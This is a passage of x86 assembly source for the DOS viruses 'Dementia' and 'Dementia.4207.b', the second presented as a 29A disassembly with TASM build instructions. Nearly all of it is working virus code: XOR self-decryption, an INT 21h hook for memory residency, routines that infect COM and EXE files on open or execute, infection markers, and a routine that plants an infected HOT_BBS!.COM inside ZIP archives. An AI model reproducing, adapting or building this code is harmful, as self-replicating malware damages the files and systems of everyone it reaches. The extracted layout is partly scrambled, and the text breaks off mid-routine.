ax,[bp-08h] ; AX = number of file specifications bx,[bp-10h] ; BX = file handle of RECEIPT.IVA ds,[bp-06h] ; DS = segment of file specifictions cx ; Save CX at stack create_recei cx ; Load CX from stack

mov

ah,3bh

; Set current directory

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

xor

dx,dx

; Zero DX

mov xor stosb

di,[bp-02h] ; DI = offset of end of pathname al,al ; AL = zero ; Store zero

int

21h

jmp receipt_exit: pop receip_exit: mov

find_first__

pop

cx

; Load CX from stack

sp,bp

; SP = stack pointer

bp

; Load BP from stack

ret endp open_file

; Return!

proc mov xor int mov

near ax,3dffh cx,cx 21h bx,ax

ret endp close_file proc near mov ah,3eh int 21h

; Open file ; Open file ; CL = attribute mask of files to ... ; BX = file handle ; Return!

; Close file ; Close file

ret endp

; Return!

find_first proc near mov ax,4e00h int 21h ret endp find_next

; Return!

proc mov int

near ah,4fh 21h

ret endp load_info

; Find first matching file ; Find first matching file

; Find next matching file ; Find next matching file

; Return!

proc mov int mov mov

near ax,5700h 21h [bp-04h],cx [bp-02h],dx

ret endp

; Get file's date and time ; Get file's date and time ; Store file time ; Store file date

; Return!

infect_mark proc near ; Infection mark mov ax,5701h ; Set file's date and time mov cx,[bp-04h] ; CX = file time mov dx,[bp-02h] ; DX = file date and cx,1111111111100000b or cx,0000000000000001b int 21h ret endp read_file

; Return!

proc

near dx,dx

; Read from file ; Zero DX

read_file_ proc near mov ah,3fh int 21h

; Read from file ; Read from file

xor

ret endp endp

; Return!

create_file proc near mov ah,3ch

; Create file ; Create file

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

xor int

cx,cx 21h

; CX = file attributes

ret endp write_file proc near xor dx,dx

; Return!

; Write to file ; Zero DX

write_file_ proc near mov ah,40h int 21h ret endp endp

; Write to file ; Write to file

; Return!

set_pos_cfp proc near mov ax,4201h int 21h ret endp

; Set current file position (CFP) ; Set current file position (CFP)

; Return!

set_pos_eof proc near ; Set current file position (EOF) mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX cwd ; Zero DX int 21h ret endp

; Return!

set_pos_sof proc near xor cx,cx xor dx,dx

; Set current file position (SOF) ; Zero CX ; Zero DX

set_pos_sof_ proc near mov ax,4200h int 21h

; Set current file position (SOF) ; Set current file position (SOF)

ret endp endp

; Return!

delete_file proc push cs pop ds mov xor int ret endp file_begin: mov mov

near

; Delete file ; Save CS at stack ; Load DS from stack (CS)

ah,41h cx,cx 21h

; Delete file ; CL = attribute mask for deletion

; Return!

ax,0b800h es,ax

; AX = segment of text video RAM ; ES = " " " " "

xor mov mov rep

di,di cx,7d0h ax,720h stosw

; Zero DI ; Store four thousand bytes ; Black background color, light-gr... ; Overwrite text video RAM

xor mov mov

di,di ; Zero DI si,(gfx_begin-file_begin+100h) cx,(gfx_end-gfx_begin)

nop load_gfx: lodsb

; AL = byte of gfx_begin

cmp jne

al,0ffh store_gfx

lodsb dec cmp je

; AL = byte of gfx_begin cx ; Derease count register al,0ffh ; Write a single character? store_gfx ; Equal? Jump to store_gfx

push xor mov lodsb mov lodsb mov mov

cx si ds cx,cx cl,al

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

rep pop

movsb ds si cx

; Move string to text video RAM ; Load registers at stack

add

si,02h

; Add two to index register

sub

cx,02h

; Subtract two from count register

jmp

dont_sto_gfx

nop store_gfx: stosb dont_sto_gfx: loop int gfx_begin

bh,al si,bx

; Save registers at stack ; Zero CX ; CL = size of string ; AL = byte of gfx_begin ; BL = low-order byte of offset of... ; AL = byte of gfx_begin ; BH = high-order byte of offset o... ; SI = offset of string within gfx...

; Store a byte of gfx_begin load_gfx 20h

db db db db db db db db db db db db db db db db db db db db db db db db db db

bl,al

; Write a string? ; Not equal? Jump to store_gfx

20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db gfx_end: file_end: temp_file request_iva filename receipt_iva callfast_com file_specifi origin_code int21_addr int24_addr com_or_exe stack_ptr stack_seg instruct_ptr code_seg initial_ip initial_cs code_seg_ tst_filesize

05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh 05h,6bh,0ah,20h,07h

db db db db db db db dd dd db dw dw dw dw dw dw dw dw

'!#TEMP#!',00h ; Temporary file 'REQUEST.IVA',00h ; REQUEST.IVA 0dh dup(?) ; Filename 'RECEIPT.IVA ',00h ; RECEIPT.IVA 'CALLFAST.COM',00h ; CALLFAST.COM '*.*',00h ; File specification 0cdh,21h,? ; Original code of infected COM file ? ; Address of interrupt 21h ? ; Address of interrupt 24h 00h ; COM or EXE executable ? ; Original stack pointer ? ; Original stack segment ? ; Original instruction pointer ? ; Original code segment ? ; Initial IP ? ; Initial CS relative to start of ... ? ; Code segment 00h ; Test or don't test filesize

db db db db db db db db crypt_begin: code_end: data_end:

'Dementia]',00h 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h 'I am the man that walks alone',0dh,0ah 'And when I''m walking a dark road',0dh,0ah 'At night or strolling through the park',0dh,0ah 'When the light begins to change',0dh,0ah 'I sometimes feel a little strange',0dh,0ah 'A little anxious when it''s dark',0dh,0ah,00h

end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ comment * Dementia.4207.b Disassembly by Darkman/29A Dementia.4207.b is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects files at close file, open file and load and/or execute program by appending the virus to the infected COM/EXE file and storing in the infected ZIP file. Dementia.4207.b has an error handler, 16-bit exclusive OR (XOR) encryption in file and is using archive infection technique. To compile Dementia.4207.b with Turbo Assembler v 4.0 type: TASM /M DEMENT_B.ASM TLINK /x DEMENT_B.OBJ EXE2BIN DEMENT_B.EXE DEMENT_B.COM * .model tiny .code code_begin: call_imm16 equ call delta_offset: pop add mov

word ptr $+01h prepare_demt

; Offset of CALL imm16

si ; Load SI from stack si,(crypt_begin-delta_offset-02h) di,si ; DI = offset of code_end - 02h

mov cx,(crypt_begin-crypt_end-02h)/02h std ; Set direction flag decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key push pop decrypt_loop: lodsw xor stosw

cs cs ds es

jmp crypt_end: loop

crypt_end

cld push sub nop

ax,dx

; Save segments at stack ; Load segments from stack (CS) ; AX = word of encrypted code ; Decrypt two bytes ; Store two plain bytes

decrypt_loop ; Clear direction flag cs ; Save CS at stack si,(crypt_end-code_begin)

mov shr mov add push

cl,04h si,cl ax,cs ax,si ax

lea push

ax,virus_begin ; AX = offset of virus_begin ax ; Save AX at stack

retf virus_begin: push pop

; ; ; ; ;

Divide by paragraphs SI = offset of crypt_end in para... AX = code segment Add code segment to delta offset... Save AX at stack

; Return far! cs ds

; Save CS at stack ; Load DS from stack (CS)

pop mov

ax ; Load AX from stack (CS) [code_seg_],ax ; Store code segment

mov call cmp je

bx,1492h close_file bx,1776h virus_exit

call virus_exit: mov cmp nop je

; Dementia.4207.b function ; Already resident? ; Equal? Jump to virus_exit

install ah,[com_or_exe] ; AH = COM or EXE executable? ah,00h ; COM executable? vir_com_exit

; Equal? Jump to vir_com_exit

mov mov sub mov

ax,[code_seg_] ; AX = code segment bx,[initial_cs] ; AX = initial CS relative to star... ax,bx ; Subtract initial CS relative to ... dx,ax ; DX = segment of PSP for current ...

mov add mov

bx,[code_seg] ; BX = original code segment ax,bx ; Add original code segment to seg... [code_seg],ax ; Store original code segment

xchg

ax,dx

cli mov add mov

; Clear interrupt-enable flag bx,[stack_seg] ; BX = original stack segment ax,bx ; Add original stack segment to se... ss,ax ; SS = original stack segment

mov mov sti

ax,[stack_ptr] ; AX = original stack pointer sp,ax ; SP = " " " ; Set interrupt-enable flag

mov int mov mov

ah,62h 21h ds,bx es,bx

; Get current PSP address

xor xor xor xor xor xor

ax,ax bx,bx cx,cx dx,dx si,si di,di

; ; ; ; ; ;

jmp vir_com_exit:

; AX = segment of current PSP proc...

; DS = segment of PSP for current ... ; ES = segment of PSP for current ... Zero Zero Zero Zero Zero Zero

AX BX CX DX SI DI

dword ptr cs:[instruct_ptr]

mov lea nop movsw movsb

di,100h si,origin_code

push

es

; Save ES at stack

mov push

ax,100h ax

; AX = offset of beginning of code ; Save AX at stack

xor xor xor xor xor xor

ax,ax bx,bx cx,cx dx,dx si,si di,di

; ; ; ; ; ;

push pop

es ds

; Save ES at stack ; Load DS from stack (ES)

; Move the original code to beginning ; " " " " " "

retf

int21_virus proc pushf cld

Zero Zero Zero Zero Zero Zero

AX BX CX DX SI DI

; Return far!

upcase_char proc near cmp al,'a' jl dont_upcase cmp al,'z' jg dont_upcase sub dont_upcase: ret endp

; DI = offset of beginning of code ; SI = offset of origin_code

al,20h

; Upcase character ; Lowcase character? ; Less? Jump to dont_upcase ; Lowcase character? ; Greater? Jump to dont_upcase ; Upcase character

; Return!

near

; Interrupt 21h of Dementia.4207.b ; Save flags at stack ; Clear direction flag

cmp jne

ah,3eh ; Close file? tst_open_fil ; Not equal? Jump to tst_open_fil

cmp jne

bx,1492h tst_open_fil

; Dementia.4207.b function? ; Not equal? Jump to tst_open_fil

mov

bx,1776h

; Already resident

popf iret tst_open_fil: cmp jne

; Load flags from stack ; Interrupt return! ah,3dh ; Open file tst_load_and ; Not equal? Jump to tst_load_and

cmp je

al,0ffh dementia_fun

; Dementia.4207.b function ; Equal? Jump to dementia_fun

push mov

ax si si,dx

lodsb cmp je

; AL = byte of filename al,00h ; End of filename? open_fi_exit ; Equal? Jump to open_fi_exit

; Save registers at stack ; SI = offset of filename

find_dot:

cmp jne

al,'.' find_dot

lodsb call cmp jne

; AL = byte of extension upcase_char al,'C' ; COM executable? tst_exe_exec ; Not equal? Jump to tst_exe_exec

lodsb call cmp jne

; AL = byte of extension upcase_char al,'O' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'M' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit

call

inf_com_exe

jmp tst_exe_exec: cmp jne

; Found the dot in the filename ; Not equal? Jump to find_dot

open_fi_exit al,'E' tst_zip_arch

; EXE executable? ; Not equal? Jump to tst_zip_arch

lodsb call cmp jne

; AL = byte of extension upcase_char al,'X' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'E' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit

call

inf_com_exe

jmp tst_zip_arch: cmp jne

open_fi_exit al,'Z' open_fi_exit

; ZIP archive? ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'I' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne

; AL = byte of extension upcase_char al,'P' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit

call

infect_zip

jmp open_fi_exit: pop

open_fi_exit

jmp dementia_fun: mov tst_load_and: cmp

tst_load_and

si ax

; Load registers from stack

al,02h

; Dementia.4207.b function

ah,4bh

; Load and/or execute program?

jne

int21_exit

call int21_exit: popf

inf_com_exe ; Load flags from stack

jmp endp install

; Not equal? Jump to int21_exit

cs:[int21_addr]

proc

near

; Allocate memory, move virus to t... ; Save ES at stack

push

es

mov int

ah,52h 21h

mov

ax,es:[bx-02h]

mov

ds,ax

mov cmp je

al,ds:[00h] al,'Z' allocate_mem

mov mov add inc

ax,ds ; AX = segment of current memory c... bx,ds:[03h] ; BX = size of memory block in par... ax,bx ; Add size of memory block in para... ax ; AX = segment of next memory cont...

; Get list of lists

; AX = segment of first memory con...

next_mcb:

jmp allocate_mem: mov sub mov

; DS = segment of current memory c... ; AL = block type ; Last block in chain? ; Equal? Jump to allocate_mem

next_mcb bx,ds:[03h] ; BX = size of memory block in par... bx,(code_end-code_begin+0fh)/10h*02h ds:[03h],bx ; Store new size of memory control...

mov add inc mov

ax,ds ax,bx ax es,ax

; ; ; ;

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

xor xor mov rep

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to top of memory

push

es

lea push

ax,install_ ; AX = offset of install_ ax ; Save AX at stack

retf

AX = segment Add new size AX = segment ES = "

of last memory cont... of memory block in ... of virus " "

; Save ES at stack

; Return far!

install_: push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

mov int mov mov

ax,3521h ; Get interrupt vector 21h 21h word ptr [int21_addr+02h],es word ptr [int21_addr],bx

lea

dx,int21_virus

; DX = offset of int21_virus

mov int

ax,2521h 21h

pop

es

ret endp

; Set interrupt vector 21h

; Load ES from stack ; Return!

inf_com_exe proc near push bp mov bp,sp sub sp,06h

; Infect COM/EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

push

ax bx cx dx si di ds es

call

int24_store

call jc

open_file com_exe_exit

call and cmp je

load_info cx,0000000000011111b cx,0000000000000001b call_close ; Already infected? Jump to call_c...

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov call

cx,20h read_file

mov cmp je cmp je

ax,ds:[00h] ax,'MZ' call_infect ax,'ZM' call_infect

call

infect_com

jmp call_infect: call call_mark: call call_close: call com_exe_exit: call

; Error? Jump to com_exe_exit

; Read thirty-two bytes

; AX = EXE signature ; Found EXE signature? ; Equal? Jump to call_infect ; Found EXE signature? ; Equal? Jump to call_infect

call_mark infect_exe infect_mark close_file int24_load

pop

es ds di si dx cx bx ax

mov

sp,bp

; SP = stack pointer

pop

bp

; Load BP from stack

ret endp infect_zip proc near push bp mov bp,sp sub sp,28h

; Return!

; Infect ZIP archive ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

push

ax bx cx dx si di ds es

xor mov mov mov

ax,ax ; Didn't found file [bp-0eh],ax ; Store didn't found HOT_BBS!.COM [bp-10h],ax ; " " " REQUEST.IVA [bp-12h],ax ; " " " RECEIPT.IVA

call

int24_store

push lea nop call mov pop

dx ds ; Save registers at stack dx,temp_file ; DX = offset of temp_file

call jnc

open_file load_info_

jmp load_info_: mov call mov add mov next_lfh_sig: mov call mov cmp je jmp test_dir_sig: mov cmp jne

create_file [bp-0ah],ax ; Store file handle of !#TEMP#! ds dx ; Load registers from stack

; No error? Jump to load_info_

inf_zip_exit [bp-08h],ax

; Store file handle of ZIP file

load_info ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer cx,04h read_file

; Read four bytes

ax,ds:[00h] ax,'KP' test_dir_sig

; AX = low-order word of file head... ; Found low-order word of file ha...? ; Equal? Jump to test_dir_sig

call_mark_ ax,ds:[02h] ax,201h read_lfh

; AX = high-order word of file hea... ; Found high-order word of central... ; Not equal? Jump to read_lfh

jmp

zero_cdh_num

mov call

cx,1ah read_file

mov mov call

cx,ds:[16h] ; CX = filename length dx,20h ; DI = offset of filename read_file_

push pop

cs es

read_lfh:

lea nop mov request_loop: lodsb mov inc

; Read twenty-six bytes

; Save CS at stack ; Load ES from stack (CS)

di,request_iva si,20h

; DI = offset of request_iva

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of request_iva di

; Increase index register

cmp je

ah,00h ; End of filename? found_reques ; Equal? Jump to found_reques

cmp jne

ah,al ; Byte of filename equal to byte o... find_callfas ; Not equal? Jump to find_callfas

jmp found_reques: mov mov

request_loop

xor xor call mov mov find_callfas: lea nop mov callfas_loop: lodsb mov

cx,cx ; Zero CX dx,dx ; Zero DX set_pos_cfp [bp-24h],ax ; AX = low-order word of extra field [bp-22h],dx ; DX = high-order word of extra field

ax,01h ; Found REQUEST.IVA [bp-10h],ax ; Store found REQUEST.IVA

di,hot_bbs__com si,20h

; DI = offset of hot_bbs__com

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of hot_bbs__com

inc

di

cmp je

ah,00h ; End of filename? found_callfa ; Equal? Jump to found_callfa

cmp jne

ah,al ; Byte of filename equal to byte o... find_receipt ; Not equal? Jump to find_receipt

jmp found_callfa: mov mov find_receipt: lea nop mov receipt_loop: lodsb mov

; Increase index register

callfas_loop ax,01h ; Found HOT_BBS!.COM [bp-0eh],ax ; Store found HOT_BBS!.COM di,receipt_iva si,20h

; DI = offset of receipt_iva

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of receipt_iva

inc

di

cmp je

ah,00h ; End of filename? found_receip ; Equal? Jump to found_receip

cmp jne

ah,al ; Byte of filename equal to byte o... calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr

jmp found_receip: mov mov calc_lfh_ptr: mov mov mov add adc

; Increase index register

receipt_loop ax,01h ; Found RECEIPT.IVA [bp-12h],ax ; Store found RECEIPT.IVA dx,ds:[0eh] ; DX = low-order word of compresse... cx,ds:[10h] ; CX = high-order word of compress... ax,ds:[18h] ; AX = extra field length dx,ax ; Add extra field length to compre... cx,00h ; Convert to 32-bit

call jmp zero_cdh_num: xor mov copy_cds: mov inc mov

set_pos_cfp next_lfh_sig ax,ax ; No central directory file header... [bp-0ch],ax ; Store no central directory file ... ax,[bp-0ch] ; AX = number of central directory... ax ; Increase number of central direc... [bp-0ch],ax ; Store number of central director...

mov mov call

bx,[bp-08h] ; BX = file handle of ZIP file cx,2ah ; Read forty-two bytes read_file

mov call

bx,[bp-0ah] write_file_

mov mov add mov add

cx,ds:[18h] ; CX = filename length bx,ds:[1ah] ; BX = extra field length cx,bx ; Add extra field length to filena... bx,ds:[1ch] ; BX = file comment length cx,bx ; CX = number of bytes to read

mov call

bx,[bp-08h] read_file_

; BX = file handle of ZIP file

mov call

bx,[bp-0ah] write_file_

; BX = file handle of !#TEMP#!

mov mov call

cx,04h ; Read four bytes bx,[bp-08h] ; BX = file handle of ZIP file read_file_

mov cmp je

ax,ds:[00h] ax,'KP' test_eoc_sig

jmp test_eoc_sig: mov cmp je

call_mark_

jmp copy_eocds: mov mov call

copy_cds

ax,ds:[02h] ax,605h copy_eocds

; BX = file handle of !#TEMP#!

; AX = low-order word of end of ce... ; Found low-order word of end of ...? ; Equal? Jump to test_eoc_sig

; AX = high-order word of end of c... ; Found high-order word of end of ... ; Equal? Jump to read_oecds

bx,[bp-08h] ; BX = file handle of ZIP file cx,12h ; Read eightteen bytes read_file

mov mov mov mov

ax,ds:[0ch] [bp-18h],ax ax,ds:[0eh] [bp-16h],ax

; ; ; ;

AX = low-order word of offset of... Store low-order word of offset o... AX = high-order word of offset o... Store high-order word of offset ...

mov call

bx,[bp-0ah] write_file_

; BX = file handle of !#TEMP#!

mov mov call

cx,ds:[10h] bx,[bp-08h] read_file_

; CX = zipfile comment length ; BX = file handle of ZIP file

mov call

bx,[bp-0ah] write_file_

mov or jz

ax,[bp-10h] ; AX = found REQUEST.IVA ax,ax ; Didn't found REQUEST.IVA test_callfas ; Zero? Jump to test_callfas

jmp test_callfas: mov or jz

test_receipt

jmp create_file_: lea nop call mov mov

call_mark_

; BX = file handle of !#TEMP#!

ax,[bp-0eh] ; AX = found HOT_BBS!.COM ax,ax ; Didn't found HOT_BBS!.COM create_file_ ; Zero? Jump to create_file_

dx,hot_bbs__com create_file [bp-14h],ax bx,[bp-14h]

; DX = offset of hot_bbs__com

; Store file handle of HOT_BBS!.COM ; BX = file handle of HOT_BBS!.COM

mov nop lea nop call

cx,(file_end-file_begin)

call

close_file

mov mov

ax,01h ; Don't test filesize [tst_filesize],ax ; Store don't test filesize

lea nop call

dx,hot_bbs__com

xor mov

ax,ax ; Test filesize [tst_filesize],ax ; Store test filesize

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

lea nop lea nop mov rep open_filenam: push pop

dx,file_begin

; DX = offset of file_begin

write_file_

; DX = offset of hot_bbs__com

inf_com_exe

si,hot_bbs__com di,filename

; SI = offset of hot_bbs__com ; DI = offset of filename

cx,0dh movsb

; Move thirteen bytes ; Move HOT_BBS!.COM to filename

cs ds

; Save CS at stack ; Load DS from stack (CS)

lea nop call

dx,filename

call mov mov

set_pos_eof [bp-1ch],ax [bp-1ah],dx

; DX = offset of filename

open_file

; Store low-order word of filesize ; Store high-order word of filesize

call mov mov

calc_crc32 [bp-20h],ax [bp-1eh],dx

mov mov mov call

bx,[bp-08h] cx,[bp-16h] dx,[bp-18h] set_pos_sof_

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov xor mov

ax,'KP' ds:[00h],ax ax,403h ds:[02h],ax ax,0ah ds:[04h],ax ax,ax ds:[06h],ax ds:[08h],ax ax,1801h ds:[0ah],ax ax,1d01h ds:[0ch],ax ax,[bp-20h] ds:[0eh],ax ax,[bp-1eh] ds:[10h],ax ax,[bp-1ch] ds:[12h],ax ds:[16h],ax ax,[bp-1ah] ds:[14h],ax ds:[18h],ax ax,0ch ds:[1ah],ax ax,ax ds:[1ch],ax

mov call

cx,1eh write_file

; Write thirty bytes

push pop

cs ds

; Save CS at stack ; Load DS from stack (CS)

lea nop mov nop call

dx,filename

mov add mov

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov call copy_callfas: mov mov call

cx,0ch

; Store low-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; BX = file handle of ZIP file ; CX = high-order word of offset o... ; DX = low-order word of offset of...

; ;

; ;

; AX = low-order word of local hea... ; Store low-order word of local he... ; AX = high-order word of local hea... ; Store high-order word of local he... AX = version needed to extract (v... ; Store version needed to extract (... AX = general purpose bit flag and... ; Store general purpose bit flag ; Store compression method (the fil... ; AX = last modified file time ; Store last modified file time ; AX = last modified file date ; Store last modified file date ; AX = low-order word of CRC-32 ch... ; Store low-order word of CRC-32 c... ; AX = high-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; AX = low-order word of filesize ; Store low-order word of compress... ; Store low-order word of uncompre... ; AX = high-order word of filesize ; Store high-order word of compres... ; Store high-order word of uncompr... AX = filename length (12 bytes) ; Store filename length (12 bytes) AX = extra field length (0 bytes) ; Store extra field length (0 bytes)

; DX = offset of filename ; Write twelve bytes

write_file_

bx,[bp-14h] set_pos_sof

; BX = file handle of HOT_BBS!.COM

bx,[bp-14h] cx,400h read_file

; BX = file handle of HOT_BBS!.COM ; Read one thousand and twenty-fou...

cmp je

ax,00h copy_cds_

mov mov call

cx,ax ; CX = number of bytes actually read bx,[bp-08h] ; BX = file handle of ZIP file write_file

jmp copy_cds_: mov call cpy_cds_loop: mov cmp je

; Read all of the file? ; Equal? Jump to copy_cds_

copy_callfas bx,[bp-0ah] set_pos_sof

; BX = file handle of !#TEMP#!

